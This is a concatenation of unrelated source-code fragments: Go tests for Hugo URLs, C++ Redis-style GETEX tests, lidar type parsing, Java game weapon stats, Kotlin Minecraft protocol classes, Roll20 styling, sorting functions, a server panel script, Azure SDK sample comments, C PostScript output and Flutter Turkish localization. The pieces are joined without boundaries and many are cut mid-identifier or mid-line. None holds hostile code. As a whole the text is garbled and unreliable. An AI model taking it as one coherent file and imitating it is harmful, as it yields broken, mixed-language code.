		{"x/y/z/boofar.md", "http://barnew/boo/", "booslug", "", false, true, "http://barnew/boo/x/y/z/booslug/", "/x/y/z/booslug/"},
		{"x/y/z/boofar.md", "http://barnew/boo/", "booslug", "", false, false, "http://barnew/boo/x/y/z/booslug/", "/boo/x/y/z/booslug/"},
		{"x/y/z/boofar.md", "http://barnew/boo/", "booslug", "", true, true, "http://barnew/boo/x/y/z/booslug.html", "/x/y/z/booslug.html"},
		{"x/y/z/boofar.md", "http://barnew/boo", "booslug", "", true, true, "http://barnew/boo/x/y/z/booslug.html", "/x/y/z/booslug.html"},
		// Issue #4666
		{"x/y/z/boo-makeindex.md", "http://barnew/boo", "", "", true, true, "http://barnew/boo/x/y/z/boo-makeindex.html", "/x/y/z/boo-makeindex.html"},

		// test URL overrides
		{"x/y/z/boofar.md", "", "", "/z/y/q/", false, false, "/z/y/q/", "/z/y/q/"},
		// test URL override with expands
		{"x/y/z/boofar.md", "", "test", "/z/:slug/", false, false, "/z/test/", "/z/test/"},
	}

	for i, test := range tests {
		i := i
		test := test
		t.Run(fmt.Sprintf("%s-%d", test.file, i), func(t *testing.T) {
			t.Parallel()
			c := qt.New(t)
			cfg := config.New()
			cfg.Set("uglyURLs", test.uglyURLs)
			cfg.Set("canonifyURLs", test.canonifyURLs)

			files := fmt.Sprintf(`
-- hugo.toml --
baseURL = %q
-- content/%s --
---
title: Page
slug: %q
url: %q
output: ["HTML"]
---
`, test.base, test.file, test.slug, test.url)

			if i > 0 {
				t.Skip()
			}

			b := NewIntegrationTes


resp, ArgType(RespExpr::NIL));
}

TEST_F(StringFamilyTest, GetEx) {
  auto resp = Run({"set", "foo", "bar"});
  EXPECT_THAT(resp, "OK");

  resp = Run({"getex", "foo", "EX"});
  EXPECT_THAT(resp, ErrArg("syntax error"));

  resp = Run({"getex", "foo", "EX", "1", "px", "1"});
  EXPECT_THAT(resp, ErrArg("syntax error"));

  resp = Run({"getex", "foo", "bar", "EX"});
  EXPECT_THAT(resp, ErrArg("syntax error"));

  resp = Run({"getex", "foo", "PERSIST", "1"});
  EXPECT_THAT(resp, ErrArg("syntax error"));

  resp = Run({"getex", "foo", "PXAT"});
  EXPECT_THAT(resp, ErrArg("syntax error"));

  resp = Run({"getex", "foo", "EX", "0"});
  EXPECT_THAT(resp, ErrArg("invalid expire time"));

  resp = Run({"getex", "foo", "PXAT", "-1"});
  EXPECT_THAT(resp, ErrArg("invalid expire time"));

  EXPECT_EQ(Run({"getex", "foo"}), "bar");

  resp = Run({"getex", "foo", "PERSIST"});
  EXPECT_EQ(resp, "bar");
  EXPECT_THAT(Run({"TTL", "foo"}), IntArg(-1));

  resp = Run({"getex", "foo", "pxat", absl::StrCat(TEST_current_time_ms - 1)});
  EXPECT_EQ(resp, "bar");

  EXPECT_THAT(Run({"getex", "foo"}), ArgType(RespExpr::NIL));

  Run({"set", "foo", "bar"});

  resp = Run({"getex", "foo", "PXAT", absl::StrCat(TEST_current_time_ms + 10)});
  EXPECT_EQ(resp, "bar");

  AdvanceTime(9);
  EXPECT_EQ(Run({"getex", "foo"}), "bar");

  AdvanceTime(1);
  EXPECT_THAT(Run({"getex", "foo"}), ArgType(RespExpr::NIL));

  Run({"set", "foo", "bar"});

  resp = Run({"getex", "foo", "exat", absl::StrCat(TEST_current_time_ms / 1000 - 1)});
  EXPECT_EQ(resp, "bar");
  EXPECT_THAT(Run({"getex", "foo"}), ArgType(RespExpr::NIL));

  Run({"set", "foo", "bar"});

  uint64_t next_two_seconds = TEST_current_time_ms + 2000;
  uint64_t next_two_seconds_round_down = static_cast<uint64_t>(next_two_seconds / 1000);
  uint64_t diff = next_two_seconds_round_down * 1000 - TEST_current_time_ms;

  resp = Run({"getex", "foo", "EXAT", absl::StrCat(next_two_seconds_round_down)});
  EXPECT_EQ(resp, "bar");

  AdvanceTime(diff - 1);
  EXPECT_EQ(Run({"getex", "foo"}), "bar");

  AdvanceTime(1);
  EXPECT_THAT(Run({"getex", "foo"}), ArgType(RespExpr::NIL));

  Run({"set", "foo", "bar"});

  resp = Run({"getex", "foo", "PX", "10"});

  AdvanceTime(9);
  EXPECT_EQ(Run({"getex", "foo"}), "bar");

  AdvanceTime(1);
  EXPECT_THAT(Run({"getex", "foo"}), ArgType(RespExpr::NIL));

  Run({"set", "foo", "bar"});

  resp = Run({"getex", "foo", "ex", "1"});

  AdvanceTime(999);
  EXPECT_EQ(Run({"getex", "foo"}), "bar");

  AdvanceTime(1);
  EXPECT_THAT(Run({"getex", "foo"}), ArgType(RespExpr::NIL));
}

TEST_F(StringFamilyTest, Cl


_16P")
  {
    return LidarType::RSHELIOS_16P;
  }
  else if (type == "RS128")
  {
    return LidarType::RS128;
  }
  else if (type == "RS80")
  {
    return LidarType::RS80;
  }
  else if (type == "RS48")
  {
    return LidarType::RS48;
  }
  else if (type == "RSP128")
  {
    return LidarType::RSP128;
  }
  else if (type == "RSP80")
  {
    return LidarType::RSP80;
  }
  else if (type == "RSP48")
  {
    return lidar::LidarType::RSP48;
  }
  else if (type == "RSM1")
  {
    return lidar::LidarType::RSM1;
  }
  else if (type == "RSM2")
  {
    return lidar::LidarType::RSM2;
  }
  else if (type == "RSE1")
  {
    return LidarType::RSE1;
  }
  else if (type == "RSMX")
  {
    return LidarType::RSMX;
  }
  else if (type == "RSM1_JUMBO")
  {
    return LidarType::RSM1_JUMBO;
  }
  else if (type == "RSM3")
  {
    return LidarType::RSM3;
  }
  else
  {
    RS_ERROR << "Wrong lidar type: " << type << RS_REND;
    RS_ERROR << "Please give correct type: RS16, RS32, RSBP, RSHELIOS, RSHELIOS_16P, RS48, RS80, RS128, RSP128, RSP80, RSP48, "
             << "RSM1, RSM1_JUMBO, RSM2,RSM3, RSE1, RSMX."
             << RS_REND;
    exit(-1);
  }
}

enum InputType
{
  ONLINE_LIDAR = 1,
  PCAP_FILE,
  RAW_PACKET
};

inline std::string inputTypeToStr(const InputType& type)
{
  std::string str = "";
  switch (type)
  {
    case InputType::ONLINE_LIDAR:
      str = "ONLINE_LIDAR";
      break;
    case InputType::PCAP_FILE:
      str = "PCAP_FILE";
      break;
    case InputType::RAW_PACKET:
      str = "RAW_PACKET";
      break;
    default:
      str = "ERROR";
      RS_ERROR << "RS_ERROR" << RS_REND;
  }
  return str;
}

enum SplitFrameMode
{
  SPLIT_BY_ANGLE = 1,
  SPLIT_BY_FIXED_BLKS,
  SPLIT_BY_CUSTOM_BLKS
};

struct RSTransformParam  ///< The Point transform parameter
{
  float x = 0.0f;      ///< unit, m
  float y = 0.0f;      ///< unit, m
  float z = 0.0f;      ///< unit, m
  float roll = 0.0f;   ///< unit, radian
  float pitch = 0.0f;  ///< unit, radian
  float yaw = 0.0f;    ///< unit, radian

  void print() const
  {
    RS_INFO << "------------------------------------------------------" << RS_REND;
    RS_INFO << "             RoboSense Transform Parameters " << RS_REND;
    RS_INFOL << "x: " << x << RS_REND;
    RS_INFOL << "y: " << y << RS_REND;
    RS_INFOL << "z: " << z << RS_REND;
    RS_INFOL << "roll: " << roll << RS_REND;
    RS_INFOL << "pitch: " << pitch << RS_REND;
    RS_INFOL << "yaw: " << yaw << RS_REND;
    RS_INFO << "------------------------------------------------------" << RS_REND;
  }
};

struct RSDecoderParam  ///< LiDAR decoder parameter
{
  bool config_from_file = false; ///< Internal use only for debugging
  std::string angle_path = "";   ///< Internal use only for debugging
  bool wait_for_difop = true;    /


r.DAMAGE,  10.24), Map.entry(HorizonsModifier.DISTRIBUTOR_DRAW,  1.48), Map.entry(HorizonsModifier.THERMAL_LOAD,  1.64), Map.entry(HorizonsModifier.ARMOUR_PIERCING,  65.0), Map.entry(HorizonsModifier.MAXIMUM_RANGE,  3000.0), Map.entry(HorizonsModifier.RATE_OF_FIRE,  2.632), Map.entry(HorizonsModifier.BURST_INTERVAL,  0.38), Map.entry(HorizonsModifier.BREACH_DAMAGE,  0.85), Map.entry(HorizonsModifier.MIN_BREACH_CHANCE,  0.40), Map.entry(HorizonsModifier.MAX_BREACH_CHANCE,  0.80), Map.entry(HorizonsModifier.THERMAL_DAMAGE_RATIO,  1.0), Map.entry(HorizonsModifier.DAMAGE_FALLOFF_START,  500.0), Map.entry(HorizonsModifier.JITTER,  0.0), Map.entry(HorizonsModifier.TARGET_SIGNATURE_INCREASED,false), Map.entry(HorizonsModifier.PART_OF_DAMAGE_THROUGH_SHIELDS,false), Map.entry(HorizonsModifier.TARGET_MODULES_MALFUNCTIONS,false) , Map.entry(HorizonsModifier.WING_SHIELD_REGENERATION_INCREASED,false), Map.entry(HorizonsModifier.TARGET_HEAT_INCREASED,false)));
    public static final PulseLaser PULSE_LASER_4_A_G           = new PulseLaser("PULSE_LASER_4_A_G", HorizonsBlueprintName.PULSE_LASER, ModuleSize.SIZE_4, ModuleClass.A, false, Mounting.GIMBALLED, 877600, "Hpt_PulseLaser_Gimbal_Huge", Map.ofEntries(                                             Map.entry(HorizonsModifier.MASS,  16.0), Map.entry(HorizonsModifier.INTEGRITY,  80.0), Map.entry(HorizonsModifier.POWER_DRAW,  1.37), Map.entry(HorizonsModifier.BOOT_TIME,  0.0), Map.entry(HorizonsModifier.DAMAGE_PER_SECOND,  21.722), Map.entry(HorizonsModifier.DAMAGE,  7.82),  Map.entry(HorizonsModifier.DISTRIBUTOR_DRAW,  1.56), Map.entry(HorizonsModifier.THERMAL_LOAD,  1.56), Map.entry(HorizonsModifier.ARMOUR_PIERCING,  65.0), Map.entry(HorizonsModifier.MAXIMUM_RANGE,  3000.0), Map.entry(HorizonsModifier.RATE_OF_FIRE,  2.778), Map.entry(HorizonsModifier.BURST_INTERVAL,  0.36), Map.entry(HorizonsModifier.BREACH_DAMAGE,  0.85), Map.entry(HorizonsModifier.MIN_BREACH_CHANCE,  0.40), Map.entry(HorizonsModifier.MAX_BREACH_CHANCE,  0.80), Map.entry(HorizonsModifier.THERMAL_DAMAGE_RATIO,  1.0), Map.entry(HorizonsModifier.DAMAGE_FALLOFF_START,  500.0), Map.entry(HorizonsModifier.JITTER,  0.0), Map.entry(HorizonsModifier.TARGET_SIGNATURE_INCREASED,false), Map.entry(HorizonsModifier.PART_OF_DAMAGE_THROUGH_SHIELDS,false), Map.entry(HorizonsModifier.TARGET_MODULES_MALFUNCTIONS,false) , Map.entry(HorizonsModifier.WING_SHIELD_REGENERATION_INCREASED,false), Map.entry(Hor


 it + id }

    companion object {
        @JvmStatic
        fun read(input: PacketSerializer) = Vec3MetadataProperty(input.getVector3())
    }
}
/**
 *
 * _  __           _    _
 * | |/ /___   ___ | | _(_) ___
 * | ' // _ \ / _ \| |/ / |/ _ \
 * | . \ (_) | (_) |   <| |  __/
 * |_|\_\___/ \___/|_|\_\_|\___|
 *
 * A server software for Minecraft: Bedrock Edition
 *
 * Copyright (C) 2021 organization Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 */
package be.zvz.kookie.network.mcpe.protocol.types.inventory

import be.zvz.kookie.network.mcpe.protocol.serializer.PacketSerializer

class InventoryTransactionChangedSlotsHack(
    private val containerId: Int,
    private val changedIndexSlotIndexes: MutableList<Int>
) {

    fun getContainerId(): Int = containerId

    fun getChangedSlotIndexes(): MutableList<Int> = changedIndexSlotIndexes

    fun write(output: PacketSerializer) {
        output.putByte(containerId)
        output.putUnsignedVarInt(changedIndexSlotIndexes.size)

        changedIndexSlotIndexes.forEach(output::putByte)
    }

    companion object {
        @JvmStatic
        fun read(input: PacketSerializer) = InventoryTransactionChangedSlotsHack(
            containerId = input.getByte(),
            changedIndexSlotIndexes = run {
                mutableListOf<Int>().apply {
                    repeat(input.getUnsignedVarInt(), this::add)
                }
            }
        )
    }
}
/**
 *
 * _  __           _    _
 * | |/ /___   ___ | | _(_) ___
 * | ' // _ \ / _ \| |/ / |/ _ \
 * | . \ (_) | (_) |   <| |  __/
 * |_|\_\___/ \___/|_|\_\_|\___|
 *
 * A server software for Minecraft: Bedrock Edition
 *
 * Copyright (C) 2021 organization Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 */
package be.zvz.kookie.network.mcpe.protocol.types.recipe

import be.zvz.kookie.network.mcpe.protocol.CraftingDataPacket
import be.zvz.kookie.network.mcpe.protocol.serializer.PacketSerializer
import be.zvz.kookie.network.mcpe.protocol.types.inventory.ItemStackWrapper

class FurnaceRecipe(
    type: CraftingDataPacket.Entry,
    val inputId: Int,
    val inputMeta: Int?,
    val result: ItemStackWrapper,
    val blockName: String
) : RecipeWithTypeId(type) {

    override fun encode(output: PacketSerializer) {
        output.putVarInt(inputId)
        if (inputMeta !== null) {
            output.putVarInt(inputMeta)
        }
        result.write(output)
        output.putString(blockName)
    }

    companion object {
        @JvmStatic
        fun decode(type: CraftingDataPacket.Entry, input: PacketSerializer) =
            FurnaceRecipe(
                type = type,
                inputId = input.getVarInt(),
                inputMeta = if (type === CraftingDataPacket.Entry.FURNACE_DATA) {


24px; font-size: 24px; padding: 5px; margin: 5px 3px 0px 3px; font-family: Luminari,"Times New Roman", serif; white-space: pre-wrap;'>`,
        textcode: `</div><div><div style='text-align:center; font-size: 14px !important; font-family: "Times New Roman", serif; padding:3px;'>`,
        buttonwrapper: `<div style='display:block'>`,
        buttonstyle: `style='display:inline-block; color:#7e2d40; background-color: transparent;padding: 0px; border: none'`,
        playerbuttonstyle: `style='display:inline-block; color:#7e2d40; background-color: transparent;padding: 0px; border: none'`,
        buttondivider: ' | ',
        handoutbuttonstyle: `style='display:inline-block; color:#7e2d40; background-color: transparent;padding: 0px; border: none'`,
        whisperStyle: `'background-color:#58170d; color:#d9bf93; display:block; padding:5px'`,
        whisperbuttonstyle: `style='display:inline-block; color:#fce5bb; background-color: transparent;padding: 0px; border: none'`,
        footer: ""
    },

    scroll2: {
        boxcode: `

`,
        titlecode: `
`,
        textcode: `</div><div><div style='text-align:center; font-size: 14px !important; line-height: 18px; font-family: "Della Respira", "Patrick Hand", Times New Roman", serif; padding:3px 20px 3px 20px;'>`,
        buttonwrapper: `<div style='display:block font-size: 14px !important; '>`,
        buttonstyle: `style='display:inline-block; color:#58170D; background-color: transparent;padding: 0px; border: none'`,
        playerbuttonstyle: `style='display:inline-block; font-size: 14px !important; color:#58170D; background-color: transparent;padding: 0px; border: none'`,
        buttondivider: ' | ',
        handoutbuttonstyle: `style='display:inline-block; font-size: 14px !important; color:#58170D; background-color: transparent;padding: 0px; border: none'`,
        whisperStyle: `'background-color:#241605; color:#eee; box-shadow: 0px 0px 5px 5px #241605; display:block; border-radius:15px; padding:5px; margin: 15px 5px 10px 5px'`,
        whisperbuttonstyle: `style='display:inline-block; color:#fcdd6d; background-color: transparent;padding: 0px; border: none'`,
        foote


                                                       participants_ids=(888, 999, 111))
        result, battle_3_id = matchmaker_client.cmd_create_battle(matchmaker_type=TEST_MATCHMAKER_TYPE.TYPE_1,
                                                                  participants_ids=(222, 333))

        battles = matchmaker_client.cmd_get_battles_by_participants(participants_ids=(222, 888))

        self.assertEqual(len(battles), 2)

        self.assertEqual(battles[0].id, battle_2_id)
        self.assertEqual(battles[0].matchmaker_type, TEST_MATCHMAKER_TYPE.TYPE_2.value)
        self.assertEqual(set(battles[0].participants_ids), {888, 999, 111})

        self.assertEqual(battles[1].id, battle_3_id)
        self.assertEqual(battles[1].matchmaker_type, TEST_MATCHMAKER_TYPE.TYPE_1.value)
        self.assertEqual(set(battles[1].participants_ids), {222, 333})


r.status = 404;
    throw error;
  }
});

const app = new Application();

app.use(async (ctx, next) => {
  try {
    await next();
  } catch (err) {
    const error = err as RequestError;
    ctx.response.status = error.status || 500;
    ctx.response.body = {
      message: error.message,
    };
  }
});

app.use(router.routes());
app.use(router.allowedMethods());

console.log('Listening on http://localhost:8000');
await app.listen({ port: 8000 });import {Substr} from '../../types'

/**
 * @param {any} expression
 * @param {number} start
 * @param {number} length
 *
 * @returns {{$substr: (any | number)[]}}
 */
const fn: Substr = (expression: any, start: number, length: number) => ({$substr: [expression, start, length]})

export default fnimport { IOpenWeatherMapOneCallResponse, IOpenWeatherMapOneCallWeatherResponse } from './openweathermap'
import * as moment from 'moment'

export interface IWeatherDailySummary {
  time: moment.Moment
  temp: {
    min: number
    max: number
  }
  weather: IOpenWeatherMapOneCallWeatherResponse
}

export class Weather {
  public rawResponse: IOpenWeatherMapOneCallResponse

  constructor(data: IOpenWeatherMapOneCallResponse) {
    this.rawResponse = data
  }

  public getCurrentTime(): moment.Moment {
    return moment.unix(this.rawResponse.current.dt)
  }

  public getCurrentWeather(): IOpenWeatherMapOneCallWeatherResponse {
    return this.rawResponse.current.weather[0]
  }

  public getCurrentTemperature(): number {
    return this.rawResponse.current.temp
  }

  public getCurrentClouds(): number {
    return this.rawResponse.current.clouds
  }

  public getCurrentHumidity(): number {
    return this.rawResponse.current.humidity
  }

  public getCurrentWind(): number {
    return this.rawResponse.current.wind_speed
  }

  public getDailySummary(numOfDays: number): IWeatherDailySummary[] {
    return this.rawResponse.daily
      .map(daily => ({
        time: moment.unix(daily.dt),
        temp: {
          min: daily.temp.min,
          max: daily.temp.max
        },
        weather: daily.weather[0]
      }))
      .slice(0, numOfDays)
  }
}
/*
 * @Author: Ji
 * @Desc: 基于Protobuf的消息处理
 */
import ByteArrayMsg from './ByteArrayMsg';
export default class ProtobufMsg extends ByteArrayMsg {
    protected msgs: any;
    public constructor(endian: string, dispatch: Function) {
        super(endian, dispatch);
        this.msgs = {};
    }
    public decode(msg: any): any {
        const byteArray = <Laya.Byte>msg;
        const msgID = byteArray.readUint16();
        const len = byteArray.readUint16();
        if (byteArray.bytesAvailable >= len) {
            const msgBytes = byteArray.readArrayBuffer(len);
            const msgParse = this.getMsgType(msgID);
            return msgParse(msgBytes, len);
        }
        return null;
    }
    public encode(msgID: number, msg: any): any {
        const msgBody = new Laya.Byte(msg);
        const sendMsg: Laya.Byte = new Laya.Byte();
        sendMsg.writeUint16(msgID);
        sendMsg.writeUint16(msgBody.length);
        sendMsg.writeArrayBuffer(msgBody);
        return sendMsg;


ed = true;

      // Continue making passes until we have a clean pass with no swaps.
      while ( swapped ) {
        // init swapped to false at the top of the while loop
        swapped = false;

        // loop through our array
        for ( let i = 0; i < array.length; i++ ) {
          // at each position, compare this element with the previous
          //  if this one is greater than our previous one swap it and
          //  flag our conditional to loop through our array again
          if ( array[i - 1] > array[i] ) {
            // swap the two numbers
            swap( array, i - 1, i );

            // flag our conditional to continue looping
            swapped = true;
          }
        }
      }
      // return our sorted array
      return array;
    },
  };
});

module.exports = bubbleModule;
const insertionModule = (() => {
  // swap method because its used multiple times
  const swap = (array, index1, index2) => {
    // store a tmp variable at pos index2
    const tmp = array[index2];

    // set value  of index2 to our value at index
    array[index2] = array[index1];

    // set our value of index1 to our stored variable
    array[index1] = tmp;
  };

  return {
    /**
     * Over each iteration insertion sort removes one element
     * from the input array, finds the location it belongs to
     * and inserts it at this point.
     *
     * @param {Array} a - Unsorted array that will be sorted
     * @returns {Array} Sorted array
     */
    insertionSort: (a) => {
      // Iterate over each element in the array
      //  for each element we will be finding the
      //  correct place to put this element
      for (let i = 1; i < a.length; i++) {
        // init j to i
        let j = i;
        // while our previous number is greater than 0,
        //  and the number we're comparing is less than
        //  our previous number enter our loop
        while (j > 0 && (a[j - 1] > a[j])) {
          // shift the number down the array and give us a space to insert our current value
          swap(a, j, j - 1);
          // decrement j to go through our entire array
          j--;
        }
      }
      return a;
    },
  };
});

module.exports = insertionModule;
var touchDevice = (navigator.maxTouchPoints || 'ontouchstart' in document.documentElement);
if (touchDevice) {
  var tooltipTrigger = 'hover click'
} else {
  var tooltipTrigger = 'hover'
}

var server_log_active = false;
var server_rcon_log_active = false;
var server_chat_log_active = false;

var server_log_uuid = null;
var rcon_log_uuid = null;
var chat_log_uuid = null;

var log_buffer_size = 500;
var server_log_tail_interval = 2000;
var server_status_interval = 2000;

var updatePlayersInterval = null;
var updateThreadsInterval = null;
var updateMonitoringDetailsInterval = null;

var tailBufferUuids = [];
var tailBufferStopUuids = [];

(function ($) {
  var originalVal = $.fn.val;
  $.fn.val = function(value) {
    let returnedElement = originalVal.apply(this, arguments);
    if (arguments.length >= 1) {
      // setter invoked
      returnedElement.trigger('change');
    }
    return returnedElement;
  };
})(jQuery);

$(document).ready(function() {
  $(() => {
    $('[data-toggle="tooltip"]').tooltip({ trigger : tooltipTrigger, container : 'body' })
  });

  if ($('#server-control-status').length) {
    setTimeout(()=>{ update


sourcePropertiesAnalyzedWorkload{
		// 							EndTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, "2024-10-12T16:31:12.063Z"); return t}()),
		// 							QueryCount: to.Ptr[int32](25),
		// 							StartTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, "2024-10-12T04:31:12.063Z"); return t}()),
		// 						},
		// 						EstimatedImpact: []*armpostgresqlflexibleservers.ImpactRecord{
		// 							{
		// 								AbsoluteValue: to.Ptr[float64](15.3671875),
		// 								DimensionName: to.Ptr("IndexSize"),
		// 								Unit: to.Ptr("MB"),
		// 							},
		// 							{
		// 								AbsoluteValue: to.Ptr[float64](99.67668452400453),
		// 								DimensionName: to.Ptr("QueryCostImprovement"),
		// 								QueryID: to.Ptr[int64](-3775242682326862300),
		// 								Unit: to.Ptr("Percentage"),
		// 							},
		// 							{
		// 								AbsoluteValue: to.Ptr[float64](79.06603712430707),
		// 								DimensionName: to.Ptr("QueryCostImprovement"),
		// 								QueryID: to.Ptr[int64](4735984994430715000),
		// 								Unit: to.Ptr("Percentage"),
		// 						}},
		// 						ImplementationDetails: &armpostgresqlflexibleservers.IndexRecommendationResourcePropertiesImplementationDetails{
		// 							Method: to.Ptr("SQL"),
		// 							Script: to.Ptr("create index concurrently ps_partkey_idx on public.partsupp(ps_partkey)"),
		// 						},
		// 						ImprovedQueryIDs: []*int64{
		// 							to.Ptr[int64](-3775242682326862300),
		// 							to.Ptr[int64](4735984994430715000)},
		// 							InitialRecommendedTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, "2024-10-12T16:31:32.311Z"); return t}()),
		// 							LastRecommendedTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, "2024-10-12T16:31:32.311Z"); return t}()),
		// 							RecommendationReason: to.Ptr("Column \"partsupp\".\"ps_partkey\" appear in Equal Predicate clause(s) in query -3775242682326862475; Column \"partsupp\".\"ps_partkey\" appear in Join On clause(s) in query 4735984994430714735;"),
		// 							RecommendationType: to.Ptr(armpostgresqlflexibleservers.RecommendationTypeEnumCreateIndex),
		// 							TimesRecommended: to.Ptr[int32](1),
		// 							Details: &armpostgresqlflexibleservers.IndexRecommendationDetails{
		// 								Schema: to.Ptr("public"),
		// 								DatabaseName: to.Ptr("ecommerce"),
		// 								IndexColumns: []*string{
		// 									to.Ptr("\"partsupp\".\"ps_partkey\"")},
		// 									IndexName: to.Ptr("ps_partkey_idx"),
		// 									IndexType: to.Ptr("BTREE"),
		// 									Table: to.Ptr("partsupp"),
		// 								},
		// 							},
		//


_put_ps(
    ctxt_t *k,
    cp_csg2_tree_t *t,
    size_t zi,
    cp_csg_xor_t *r)
{
    for (cp_v_each(i, &r->xor)) {
        v_csg2_put_ps(k, t, zi, &cp_v_nth(&r->xor, i)->add);
    }
}

static void layer_put_ps(
    ctxt_t *k,
    cp_csg2_tree_t *t,
    size_t zi,
    cp_csg2_layer_t *r)
{
    if (zi != r->zi) {
        return;
    }
    v_csg2_put_ps(k, t, zi, &r->root->add);
}

static void stack_put_ps(
    ctxt_t *k,
    cp_csg2_tree_t *t,
    size_t zi,
    cp_csg2_stack_t *r)
{
    for (cp_v_each(i, &r->layer)) {
        layer_put_ps(k, t, zi, &cp_v_nth(&r->layer, i));
    }
}

static void csg2_put_ps(
    ctxt_t *k,
    cp_csg2_tree_t *t,
    size_t zi,
    cp_csg2_t *r)
{
    switch (r->type) {
    case CP_CSG_ADD:
        add_put_ps(k, t, zi, cp_csg_cast(cp_csg_add_t, r));
        return;

    case CP_CSG_XOR:
        xor_put_ps(k, t, zi, cp_csg_cast(cp_csg_xor_t, r));
        return;

    case CP_CSG_SUB:
        sub_put_ps(k, t, zi, cp_csg_cast(cp_csg_sub_t, r));
        return;

    case CP_CSG_CUT:
        cut_put_ps(k, t, zi, cp_csg_cast(cp_csg_cut_t, r));
        return;

    case CP_CSG2_STACK:
        stack_put_ps(k, t, zi, cp_csg2_cast(cp_csg2_stack_t, r));
        return;

    case CP_CSG2_POLY:
        poly_put_ps(k, cp_csg2_cast(cp_csg2_poly_t, r), cp_v_nth(&t->z, zi));
        return;

    case CP_CSG2_VLINE2:
        assert(0 && "no v_line2 support");
        return;

    case CP_CSG2_SWEEP:
        assert(0 && "no cq_sweep support");
        return;
    }

    CP_DIE("2D object type");
}

static void v_csg2_put_ps(
    ctxt_t *k,
    cp_csg2_tree_t *t,
    size_t zi,
    cp_v_obj_p_t *r)
{
    for (cp_v_each(i, r)) {
        csg2_put_ps(k, t, zi, cp_csg2_cast(cp_csg2_t, cp_v_nth(r,i)));
    }
}

/* ********************************************************************** */

/**
 * Print as PS file.
 *
 * Each layer is printed on a separate page.
 *
 * This prints both the triangle and the path data in different
 * colours, overlayed so that the shape can be debugged.
 *
 * If xform is NULL, this assumes that the input is in MM.  Otherwise,
 * any other scaling transformation can be applied.
 */
extern void cp_csg2_tree_put_ps(
    cp_stream_t *s,
    cp_ps_opt_t const *opt,
    cp_csg2_tree_t *t)
{
    if (t->root != NULL) {
        ctxt_t k;
        CP_ZERO(&k);
        k.s = s;
        k.opt = opt;
        k.bb.min.x = +99999;
        k.bb.min.y = +99999;
        k.bb.max.x = -99999;
        k.bb.max.y = -99999;

        size_t page_cnt = 0;
        cp_ps_doc_begin(s, opt, CP_SIZE_MAX, 0, 0, -1, -1);
        if (opt->single_page) {
            page_cnt++;
            cp_ps_page_begin(s, opt, page_cnt);
        }

        for (cp_v_each(zi, &t->z)) {
            if (cp_v_nth(&t->flag, zi) & CP_CSG2_FLAG_NON_EMPTY) {
                if (!opt->single_page) {
                    page_cnt++;
                    cp_ps_page_begin(s, opt, page_cnt);
                    cp_printf(s, "10 10 moveto (z=%g zi=%"CP_Z"u) show\n", cp_v_nth(&t->z, zi), zi);
                }

                csg2_put_ps(&k, t, zi, t->root);

                if (!opt->single_page) {
                    cp_ps_page_end(s);
                }
            }
        }

        if ((k.bb.min.x > k.bb.max.x) || (k.bb.min.y > k.bb.max.y)) {
            k.bb.min.x = k.bb.min.y = k.bb.max.x = k.bb.max.y = 0.5;
        }

        if (opt->single_page) {
            cp_ps_page_end(s);
        }
        cp_ps_doc_end(s,
            page_cnt,
            lrint(floor(k.bb.min.x)),
            lrint(floor(k.bb.min.y)),
            lrint(ceil(k.bb.max.x)),
            lrint(ceil(k.bb.max.y)));
    }
}


HomeTab.bedtime),
      ctx.locale.custom_blocking_tip: (_) => goToTab(DefaultHomeTab.statistics),
      ctx.locale.notification_batching_tip: (_) =>
          goToTab(DefaultHomeTab.notifications),
      ctx.locale.notification_scheduling_tip: (_) =>
          goToTab(DefaultHomeTab.notifications),
      ctx.locale.data_usage_tip: (_) => goToTab(DefaultHomeTab.statistics),
      ctx.locale.block_internet_tip: (_) => goToTab(DefaultHomeTab.statistics),
      ctx.locale.emergency_passes_tip: (_) => goToTab(DefaultHomeTab.bedtime),

      /// Settings screen
      ctx.locale.backup_usage_db_tip: (_) => goToSettings(tab: 1),
      ctx.locale.dynamic_material_color_tip: (_) => goToSettings(),
      ctx.locale.amoled_dark_theme_tip: (_) => goToSettings(),
      ctx.locale.customize_usage_history_tip: (_) => goToSettings(),
      ctx.locale.battery_optimization_tip: (_) => goToSettings(),

      /// Parental controls
      ctx.locale.invincible_mode_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.parentalControlsPath),
      ctx.locale.tamper_protection_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.parentalControlsPath),
      ctx.locale.parental_controls_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.parentalControlsPath),

      /// Focus mode
      ctx.locale.focus_mode_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.focusModePath),
      ctx.locale.session_timeline_tip: (_) => Navigator.of(ctx)
          .pushNamed(AppRoutes.focusModePath, arguments: {"tab": 1}),

      /// Changelogs
      ctx.locale.quick_focus_tile_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.changeLogsPath),
      ctx.locale.app_shortcuts_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.changeLogsPath),

      /// Shorts blocking
      ctx.locale.accessibility_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.shortsBlockingPath),
      ctx.locale.short_content_blocking_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.shortsBlockingPath),

      /// Websites blocking
      ctx.locale.websites_blocking_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.websitesBlockingPath),

      /// Restriction groups
      ctx.locale.grouped_apps_blocking_tip: (_) =>
          Navigator.of(ctx).pushNamed(AppRoutes.restrictionGroupsPath),
    };
  }
}
// ignore: unused_import
import 'package:intl/intl.dart' as intl;
import 'app_localizations.dart';

// ignore_for_file: type=lint

/// The translations for Turkish (`tr`).
class AppLocalizationsTr extends AppLocalizations {
  AppLocalizationsTr([String locale = 'tr']) : super(locale);

  @override
  String get mindful_tagline => 'Neyin önemli olduğuna odaklan';

  @override
  String get unlock_button_label => 'Kilidi açın';

  @override
  String get permission_status_off => 'Kapalı';

  @override
